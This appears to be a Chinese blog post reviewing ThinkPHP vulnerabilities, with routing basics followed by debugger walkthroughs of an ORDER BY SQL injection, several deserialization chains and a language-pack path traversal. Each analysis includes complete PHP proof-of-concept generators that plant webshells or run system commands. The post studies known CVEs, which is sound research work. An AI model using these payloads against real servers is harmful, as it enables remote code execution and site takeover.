这个是之前学的,当复习重新看一遍,顺便发到很久没更的博客里

基础知识

安装:

1
composer create-project topthink/think=5.0.* tp5  --prefer-dist

表示安装最新的5.0版本,这里是5.0.24,这里的tp5目录名可以任意更改,如果之前安装过,则切换到tp5应用根目录下,执行:

1
composer update topthink/framework

如果很卡:
1
2
3
4
指定国内源
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

composer config -g -l

此时安装成功会有一个提示composer audit可以查看历史漏洞,我们进入www.tp5.com目录查看一下发现有7个CVE,后面会一个个分析

一些基础

目录结构在readme文件有解释

1
2
router.php用于php自带webserver支持,可用于快速测试  
启动命令:php -S localhost:8888 router.php

开启调试:
config.php里面的app_debug参数设置为true,或者项目根目录创建.env文件:

1
app_debug =  true

定义了.env文件后,配置文件中定义app_debug参数无效

关于URL路由访问的规则:

  1. 普通模式: 当没有自定义路由或者url_route_on参数为false的情况下,采用PATH_INFO格式访问,即http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...],比如在app\index\controller下写一个Test1.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    <?php

    namespace app\index\controller;

    class Test1
    {
    public function test1(){
    return 'this is function test1';
    }
    public function index(){
    return 'this is index!';
    }
    public function dump($id){
    return "hello".$id;
    }
    }

    我们访问:

    1
    2
    http://www.tp5.com:8000/index.php/index/test1/test1 返回this is function test1
    http://www.tp5.com:8000/index.php/index/test1/index 返回this is index!

    此外: 还有一种兼容模式访问如下

    1
    http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]

    eg

    1
    2
    http://www.tp5.com:8000/?s=index/Test1/test1
    http://www.tp5.com:8000/?s=index/Test1/index
  2. 混合模式(默认)
    配置:'url_route_on'=>true,'url_route_must'=>false
    已注册用路由访问,未注册仍用PATH_INFO访问

  3. 强制模式
    配置:'url_route_on'=>true,'url_route_must'=>true
    全部访问必须采用路由模式,包括首页’/’

讲了路由访问模式自然要说怎么自定义路由!
路由定义采用\think\Route类的rule方法注册,通常是在应用的路由配置文件application/route.php进行注册,格式是:

1
Route::rule('路由表达式','路由地址','请求类型','路由参数(数组)','变量规则(数组)');

eg1
apploication/app/controller/Index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
namespace app\index\controller;

class Index
{
public function index()
{
return "hello world";
}
public function hello($id){
// echo "hello".$id;
dump(input());
dump(request()->get());
dump(request()->route());
dump(request()->param());
}

}

application/route.php
1
2
3
4
<?php
use think\Route;
Route::rule('test','index/Index/index');
Route::get('hello/:id','index/Index/hello');

访问http://www.tp5.com:8000/index.php/hello/1?name=jmx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
array(2) {
'name' =>
string(3) "jmx"
'id' =>
string(1) "1"
}

D:\phpstudy_pro\WWW\www.tp5.com\thinkphp\library\think\Debug.php:193:
array(1) {
'name' =>
string(3) "jmx"
}

D:\phpstudy_pro\WWW\www.tp5.com\thinkphp\library\think\Debug.php:193:
array(1) {
'id' =>
string(1) "1"
}

D:\phpstudy_pro\WWW\www.tp5.com\thinkphp\library\think\Debug.php:193:
array(2) {
'name' =>
string(3) "jmx"
'id' =>
string(1) "1"
}

CVE-2018-16385

简历

在ThinkPHP5.1.23之前的版本中存在SQL注入漏洞,该漏洞是由于程序在处理order by 后的参数时,未正确过滤处理数组的key值所造成。如果该参数用户可控,且当传递的数据为数组时,会导致漏洞的产生。

范围

ThinkPHP < 5.1.23

配置

安装thinkphp5.1.22

1
2
3
4
git clone https://github.com/top-think/think.git
git checkout v5.1.22
修改composer.json的topthink/framework值为5.1.22
composer install

image.png

测试成功
在config/database.php配置好数据库连接参数
数据库创建一个user表,表里创建一个id字段
config/app.php里的debug模式改为true

修改Index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
namespace app\index\controller;

class Index
{
public function index()
{
echo "index";
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}

public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
public function sql(){
echo "hello ,this is sql test!";
$data=array();
$data['id']=array('eq','test');
$order=$_GET['order'];
$m=db('user')->where($data)->order($order)->find();
dump($m);
}

}

分析

find()函数->中间跳了很多->/thinkphp/library/think/db/Builder.php parseOrder()的函数
image.png
oreach函数将$order数组分为key和value形式。
进入parseOrderField()函数
image.png

这里重点是foreach循环对$val的值做处理,但是这个val的值不用管,最后拼接sql语句是key的值,val在key后面,可以用注释符注释掉
进入parseDataBind()函数
image.png
这里最后返回字符串,对传入的key的前面拼接了字符串:

1
:data__id`,111)|updatexml(1,concat(0x3a,user()),1)#0

然后回到parseOrderField()函数
1
return 'field(' . $this->parseKey($query, $key, true) . ',' . implode(',', $val) . ')' . $sort;

调用Mysql的 parseKey()函数:
image.png
拼接了一对反引号在key变量两头:

1
`id`,111)|updatexml(1,concat(0x3a,user()),1)#`

最后返回:

1
field(`id`,111)|updatexml(1,concat(0x3a,user()),1)#`,:data__id`,111)|updatexml(1,concat(0x3a,user()),1)#0)

然后回到了Builer.php的parseOrder()函数
image.png

1
ORDER BY field(`id`,111)|updatexml(1,concat(0x3a,user()),1)#`,:data__id`,111)|updatexml(1,concat(0x3a,user()),1)#0)

一直调试到后面可以看到sql语句:

1
SELECT * FROM `user` WHERE  `id` IN (:where_AND_id_in_1,:where_AND_id_in_2) ORDER BY field(`id`,111)|updatexml(1,concat(0x3a,user()),1)#`,:data__id`,111)|updatexml(1,concat(0x3a,user()),1)#0) LIMIT 1  

image.png

这里由于field函数,漏洞利用有两个关键点:

  1. field()函数必须指定大于等于两个字段才可以正常运行,否则就会报错,当表中只有一个字段时,我们可以随意指定一个数字或字符串的参数
  2. 当field中的参数不是字符串或数字时,指定的参数必须是正确的表字段,否则程序就会报错。这里由于程序会在第一个字段中加 限制 ,所以必须指定正确的字段名称。第二个字段没有限制,可以指定字符串或数字

CVE-2021-36564

简历

ThinkPHP v6.0.8 通过组件 vendor\league\flysystem-cached-adapter\src\Storage\Adapter.php发现一个反序列化漏洞。

范围:

thinkphp<6.0.9

环境

这里装tp6.0.8

1
composer create-project topthink/think=6.0.x tp6.0.8

老规矩删lock文件改comoser.json重新composer install一遍

调试

很简单的链子.应该是最短的了
Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
namespace League\Flysystem\Adapter;
class Local{}
namespace League\Flysystem\Cached\Storage;
use League\Flysystem\Adapter\Local;
abstract class AbstractCache{
protected $autosave;
protected $cache = [];
}
class Adapter extends AbstractCache{
protected $adapter;
protected $file;
function __construct(){
$this->autosave=false;
$this->adapter=new Local();
$this->file='huahua.php';
$this->cache=['huahua'=>'<?php eval($_GET[1]);?>'];
}
}
$o = new Adapter();
echo urlencode(serialize($o));

?>

入口点是abstract class AbstractCache中的__destruct方法
image.png

但是PHP的抽象方法不能被实例化,因此需要实例化它的子类,这里选择的是League\Flysystem\Cached\Storage的Adapter.php

然后进入Adapter.php的save()方法:
image.png
目标是进入write()方法,里面有file_put_contents,这里参数都可以控制
首先看一下getForStorage()方法,它影响了write函数写入文件的内容content
image.png
它会返回一个json加密的数据,这个参数是cache,protected $cache = [];我们实例化的时候可控
进入cleanContents()函数:
image.png
我们只需要传入的cache是一个一维数组就不会进入if语句
然后考虑这个this->adapter变量,这里找的是同时具有has()方法和write()方法的类,找到的是League\Flysystem\Adapter的Local.php

首先has方法我们需要保证返回false
image.png
进入applyPathPrefix()
image.png
很简单的字符串拼接,我们传入的$this->file只要是一个不存在的文件就行
进入write()方法
image.png
一样的先调用applyPathPrefix()方法,拼接一下文件路径,这里做的限制是删除路径的/字符,tp默认写入文件就是public目录我们不需要设置路径
image.png
最后成功写入木马

此外我们看下Y4tacker师傅的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

namespace League\Flysystem\Cached\Storage{

use League\Flysystem\Filesystem;

abstract class AbstractCache{
protected $autosave = false;


}
class Adapter extends AbstractCache
{
protected $adapter;
protected $file;

public function __construct(){
$this->complete = "*/<?php phpinfo();?>";
$this->expire = "yydsy4";
$this->adapter = new \League\Flysystem\Adapter\Local();
$this->file = "y4tacker.php";
}

}
}

namespace League\Flysystem\Adapter{
class Local extends AbstractAdapter{

}
abstract class AbstractAdapter{
protected $pathPrefix;
public function __construct(){
$this->pathPrefix = "./";
}
}
}

namespace {

use League\Flysystem\Cached\Storage\Adapter;
$a = new Adapter();
echo urlencode((serialize($a)));
}

区别就是初始化的时候赋值的complete变量,因为$contents = $this->getForStorage();
我们跟进getForStorage()方法就可以发现return json_encode([$cleaned, $this->complete, $this->expire]);
我们自然可以只赋值complete变量

CVE-2021-36567

描述

ThinkPHP v6.0.8 已通过组件 League\Flysystem\Cached\Storage\AbstractCache 包含反序列化漏洞。

范围

thinkphp<=6.0.8,Linux系统,因为核心是把system(json加密的数据),类似:

1
[["`whoami`"],[]]

这样的结果返回,Windows肯定不会执行成功,Linux可以返回,虽然没有回显但是命令执行函数已经执行了.所以我们可以写木马文件
1
[[jmx],[]]: command not found

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = [];
protected $cache = ['`echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d > 2.php`'];
}
}

namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $store;
protected $key;
public function __construct($store,$key,$expire)
{
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
}
}

namespace think\cache{
abstract class Driver{

}
}
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver
{
protected $options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => false,
'path' => 'y4tacker',
'hash_type' => 'md5',
'serialize' => ['system'],
];
}
}
namespace{
$b = new think\cache\driver\File();
$a = new think\filesystem\CacheStore($b,'y4tacker','1111');
echo urlencode(serialize($a));

}

分析

这个链子也非常简单
League\Flysystem\Cached\Storage\AbstractCache的__destruct

1
2
3
4
5
6
public function __destruct()  
{
if (! $this->autosave) {
$this->save();
}
}

think\filesystem的CacheStore.php的save()方法:
image.png
getForStorage()方法
image.png
调试多了都有经验了,这里设置的cache是一维数组会直接返回cache的值:
1
['`echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d > 2.php`']

最后返回json_encode函数处理后的结果
1
[["`echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d > 2.php`"],[]]

然后进入$this->store->set,也就是think\cache\driver\File的set()方法:
image.png
创建文件目录和文件名后进入serialize方法
image.png
这里提前设置了$this->options['serialize']为system
执行

1
system('[["`echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d > 2.php`"],[]]')

最后虽然没有返回但是命令也被执行了,成功创建文件
image.png

我们自然可以只赋值complete变量,把cache变量设置为空数组也可以

CVE-2022-33107

适用范围

thinkphp<=6.0.12

Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
namespace think\model\concern{
trait Attribute{
private $data = ['huahua'];
}
}

namespace think\view\driver{
class Php{}
}
namespace think\session\driver{
class File{

}
}
namespace League\Flysystem{
class File{
protected $path;
protected $filesystem;
public function __construct($File){
$this->path='huahua.php';
$this->filesystem=$File;
}
}
}
namespace think\console{
use League\Flysystem\File;
class Output{
protected $styles=[];
private $handle;
public function __construct($File){
$this->styles[]='getDomainBind';
$this->handle=new File($File);
}
}
}
namespace think{
abstract class Model{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
protected $table;
function __construct($cmd,$File){
$this->lazySave = true;
$this->withEvent = false;
$this->table = new route\Url(new Middleware,new console\Output($File),$cmd);
}
}
class Middleware{
public $request = 2333;
}
}

namespace think\model{
use think\Model;
class Pivot extends Model{}
}

namespace think\route{
class Url
{
protected $url = 'a:';
protected $domain;
protected $app;
protected $route;
function __construct($app,$route,$cmd){
$this->domain = $cmd;
$this->app = $app;
$this->route = $route;
}
}
}


namespace{
$zoe='<?= phpinfo(); exit();//';
echo urlencode(serialize(new think\Model\Pivot($zoe,new think\session\driver\File)));
}

分析

入口点在think\Model\destruct()方法
image.png
进入save()方法
image.png
进入insertData()方法
image.png
进入checkAllowFields()方法
image.png
进入db()方法
image.png
执行$query->table($this->table . $this->suffix);语句
此时开始进入链子了,拼接对象和字符串造成toString魔术方法调用,think\route的Url.php
image.png
image.png
if语句一直进不去,最后跑到

1
$bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null);

然后进入getDomainBind()方法,这里设置了domain的值,直接进入了Output.php的
call()方法: call_user_func_array([$this, 'block'], $args);

Output.php的block()方法->writeln()方法

1
$this->writeln("<{$style}>{$message}</$style>");

Output.php的writeln()方法->write()方法:
1
$this->write($messages, true, $type);

此时message为<getDomainBind><?=+phpinfo();+exit();//</getDomainBind>
write()方法
1
$this->handle->write($messages, $newline, $type);

$this->handle被设置的League\Flysystem\File,调用它的write()方法
1
2
3
4
public function write($content)  
{
return $this->filesystem->write($this->path, $content);
}

$this->filesystem被设置的think\session\driver\File,调用它的write()方法:
image.png
image.png
最后执行file_put_contents写入木马文件

CVE-2022-38352

影响版本: Thinkphp <= v6.0.13

介绍:

攻击者可以通过组件League\Flysystem\Cached\Storage\Psr6Cache包含反序列化漏洞,目前的Thinkphp6.1.0以上已经将filesystem移除了 因为此处存在好多条反序列化漏洞

安装和前一篇文章一样,这里为了方便就用上一篇文章的6.0.12了

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php

namespace League\Flysystem\Cached\Storage{

class Psr6Cache{
private $pool;
protected $autosave = false;
public function __construct($exp){
$this->pool = $exp;
}
}
}

namespace think\log{
class Channel{
protected $logger;
protected $lazy = true;

public function __construct($exp){
$this->logger = $exp;
$this->lazy = false;
}
}
}

namespace think{
class Request{
protected $url;
public function __construct(){
$this->url = '<?php system(\'calc\'); exit(); ?>';
}
}
class App{
protected $instances = [];
public function __construct(){
$this->instances = ['think\Request'=>new Request()];
}
}
}

namespace think\view\driver{
class Php{}
}

namespace think\log\driver{

class Socket{
protected $config = [];
protected $app;
public function __construct(){

$this->config = [
'debug'=>true,
'force_client_ids' => 1,
'allow_client_ids' => '',
'format_head' => [new \think\view\driver\Php,'display'],
];
$this->app = new \think\App();

}
}
}

namespace{
$c = new think\log\driver\Socket();
$b = new think\log\Channel($c);
$a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
echo urlencode(base64_encode(serialize($a)));
}

分析

在Index.php添加反序列化点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
public function index(){
if($_POST["a"]){
unserialize(base64_decode($_POST["a"]));
}
return "hello";
}

public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
}

在unserialize打断点,进入调试
首先是Psr6Cache.php的父类的AbstractCache.php的__destruct()方法:

1
2
3
4
5
6
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}

这个autosave可控,设置为false进入Psr6Cache.php的save()方法
image.png
这里的pool变量也可控,可以调用任意一个对象的__call方法,这里我们选择的是think\log\Channel对象
image.png
然后是调用log()方法,$method就是函数名getItem(这里没啥用),然后调用record()方法
image.png
直接走到if语句,这里$this->lazy我们可控,直接设置为false就可以进入if语句调用save()方法
image.png
走到if语句,我们可以控制logger的值,这里设置为think\log\driver\Socket()对象,然后调用think\log\driver\Socket()::save()方法
image.png

这里先执行check()函数:
image.png
我们想要check函数返回true需要设置config['force_client_ids']为true,config['allow_client_ids']是空
然后回到save()方法,需要设置config['debug']为true,然后if语句判断if ($this->app->exists('request'))
这里我们将$this->app设置为\think\App,而这个类没有exists方法,会调用父类Container.php的exists()方法
image.png
跟进getAlias()方法:
image.png
注释告诉我们根据别名获取真实类名,这里是\think\Request,调试可以发现$this->bind就是\think\App的bind变量,里面设置了键request的值为Request::class,这里$bind被赋值了\think\Request,重新进入getAlias()函数没有进入if语句直接返回了\think\Request,而出来后的

1
return isset($this->instances[$abstract])

返回为true,因为我们自定义了\think\App的instances变量,在Poc里可以发现,为new Request()
然后回到Socket.php的save()方法接着走,调用Request的url方法,这个Request对象也被我们重写了
image.png
调用domain方法:
image.png
最后返回http://<?php system('calc'); exit(); ?>
$currentUri变量的值为http://<?php system('calc'); exit(); ?>
而后判断config['format_head'],执行invoke函数
这里设置的config['format_head']为数组: [new \think\view\driver\Php,'display']
App.php没有invoke方法,调用父类Container.php的:
image.png
这里直接会走到invokeMethod方法,$callable是数组[new \think\view\driver\Php,'display']$vars是一维数组:http://<?php system(‘calc’); exit(); ?>![image.png](https://image-1317255302.cos.ap-shanghai.myqcloud.com/markdown/20240215133657.png) 先把$method分开键值对,即class为\think\view\driver\Php,method为display,生成reflect反射对象 最后调用$reflect->invokeArgs()方法`,走到Php.php的display方法
image.png
完成RCE
image.png

CVE-2022-45982

范围

ThinkPHP 6.0.0~6.0.13 和 6.1.0~6.1.1

调试

入口点是abstract class Model的__destruct()方法

1
2
3
4
5
6
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}

进入save()方法之后
1
$this->setAttrs($data);

直接进入Attribute.php的setAttrs()方法
image.png
直接返回没啥用
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);这里会进入updateData()方法,我们设置了$this->exists为true
image.png
这里我们需要进入$this->getChangedData()方法,因为里面涉及一些数组删除操作使我们能进入下面的if语句
image.png
$data是我们可控的$this->data,我们设置为['a' => 'b']
$this->readonly我们设置好为['a']
经过if判断,删掉了$data的内容,此时$data为空
回来Model.php正好进入if语句,调用$this->autoRelationUpdate()方法
image.png
我们可控($this->relationWrite的内容,设置为一个二维数组
1
2
3
4
['r' =>  
["n" => $value]
]
value是一个think\route\Url类型的对象

调用到$model = $this->getRelation($name, true);
image.png
我们控制$this->relation = ['r' => $this];,$this为本Pivot对象
然后可以进入if语句调用$model->exists(true)->save($val);,此时$val是被键值对分出的值,一维数组["n" => $value]

然后就调用的Model的save()方法,这个危险方法应该很敏感了
image.png
此时的$data是一个\think\route\Url对象了
进入setAttrs()->Attribute.setAttrs()->$this->setAttr()
目标是拼接字符串,我们需要设置$this->origin = ["n" => $value];
image.png
去调用Url.__toString()方法->build()
然后走到我们常见的

1
$bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null);

$this->route被设置为think\log\Channel对象,调用它的__call->log(->record()
image.png
我们自定义lazy变量为false进入save()
image.png
调用$this->logger->save->Store.php的save()
image.png
熟悉的serialize()方法
image.png
熟悉的RCE
我们可控Store.php的一些变量
1
2
3
protected $serialize = ["call_user_func"];
$this->data = [$data, "param"];
$data是think\Request()实例

调用的call_user_func($this->data)
去了Request的param()函数
image.png

进入input()函数
image.png
先进入getFilter()获取$this->filter,用逗号分割开成数组,在加了一个null($default)
image.png

然后进入filterValue()方法调用call_user_func($filter, $value)

image.png

我们自定义的request

1
2
3
protected $mergeParam = true;  
protected $param = ["whoami"];
protected $filter = "system";

最终RCE
image.png
image.png

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
<?php

namespace think {
abstract class Model
{
private $lazySave = true;
private $data = ['a' => 'b'];
private $exists = true;
protected $withEvent = false;
protected $readonly = ['a'];
protected $relationWrite;
private $relation;
private $origin = [];

public function __construct($value)
{
$this->relation = ['r' => $this];
$this->origin = ["n" => $value];
$this->relationWrite = ['r' =>
["n" => $value]
];
}
}

class App
{
protected $request;
}

class Request
{
protected $mergeParam = true;
protected $param = ["whoami"];
protected $filter = "system";
}
}

namespace think\model {

use think\Model;

class Pivot extends Model
{
}
}

namespace think\route {

use think\App;

class Url
{
protected $url = "";
protected $domain = "domain";
protected $route;
protected $app;

public function __construct($route)
{
$this->route = $route;
$this->app = new App();
}
}
}

namespace think\log {
class Channel
{
protected $lazy = false;
protected $logger;
protected $log = [];

public function __construct($logger)
{
$this->logger = $logger;
}
}
}

namespace think\session {
class Store
{
protected $data;
protected $serialize = ["call_user_func"];
protected $id = "";

public function __construct($data)
{
$this->data = [$data, "param"];
}
}
}

namespace {
$request = new think\Request(); // param
$store = new think\session\Store($request); // save
$channel = new think\log\Channel($store); // __call
$url = new think\route\Url($channel); // __toString
$model = new think\model\Pivot($url); // __destruct
echo urlencode(serialize($model));
}

CVE-2022-47945

影响范围:

thinkphp<=6.0.13

描述

如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。

复现:

thinkphp6.0.12

安装
1
composer create-project topthink/think=6.0.12 tp6

注意由于composer在安装时一些依赖的更新导致此时的tp6不是6.0.12而是6.1.4,因此我们需要手动修改composer.json的require的内容:

1
2
3
4
5
"require": {
"php": ">=7.2.5",
"topthink/framework": "6.0.12",
"topthink/think-orm": "^2.0"
},

重新执行composer install即可

调试

这里环境是Windows+phpstorm调试
phpstorm打开tp6文件夹,添加一个PHP内置Web服务器的运行配置文件
image.png
然后修改app/middleware.php的内容,把多语言加载的注释给删了

1
2
3
4
5
6
7
8
9
10
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// \think\middleware\CheckRequestCache::class,
// 多语言加载
\think\middleware\LoadLangPack::class,
// Session初始化
// \think\middleware\SessionInit::class
];

由于我们调试的是任意文件包含,我们在public目录写一个test.php以便调试

1
2
<?php
echo "test";

跳转\think\middleware\LoadLangPack,下断点
image.png

url: http://localhost:1221/public?lang=../../../../../public/test
开启调试:
首先会调用detect函数来依次遍历get,请求头和cookie是否有lang参数,也就是$this->config['detect_var']内置变量
image.png

先小写一遍赋值给$langSet变量
而后由于$this->config['allow_lang_list']变量默认是空的进入if语句将$langSet赋值给$range变量,而后调用setLangSet()函数将Lang.php的private属性的$range变量赋值从默认的zh-cn改为../../../../../public/test
image.png

然后会比较当前langset变量是否等于默认的”zh-cn”,不等于进入if语句,调用switchLangSet()函数
image.png
然后调用load()函数,参数是个只有一个值的数组,$this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php'值为D:\phpstudy_pro\WWW\think\vendor\topthink\framework\src\lang\../../../../../public/test.php
这里就是我们的目标文件地址
进入load()函数:
参数file就是这个目标文件地址,通过一个foreach循环来调用parse()函数
image.png

这个parse函数就是最终sink点,先pathinfo取出后缀名来判断文件类型,然后包含文件
image.png
最终成功包含test.php文件
image.png

thinkphp5.1

安装

1
composer create-project topthink/think=5.1.* tp5

默认5.1.41版本

开启多语言

config/app.php的lang_switch_on参数改为true

本地没复现成功,$langSet = $this->range这一步将langSet值设置为了zh-cn

参考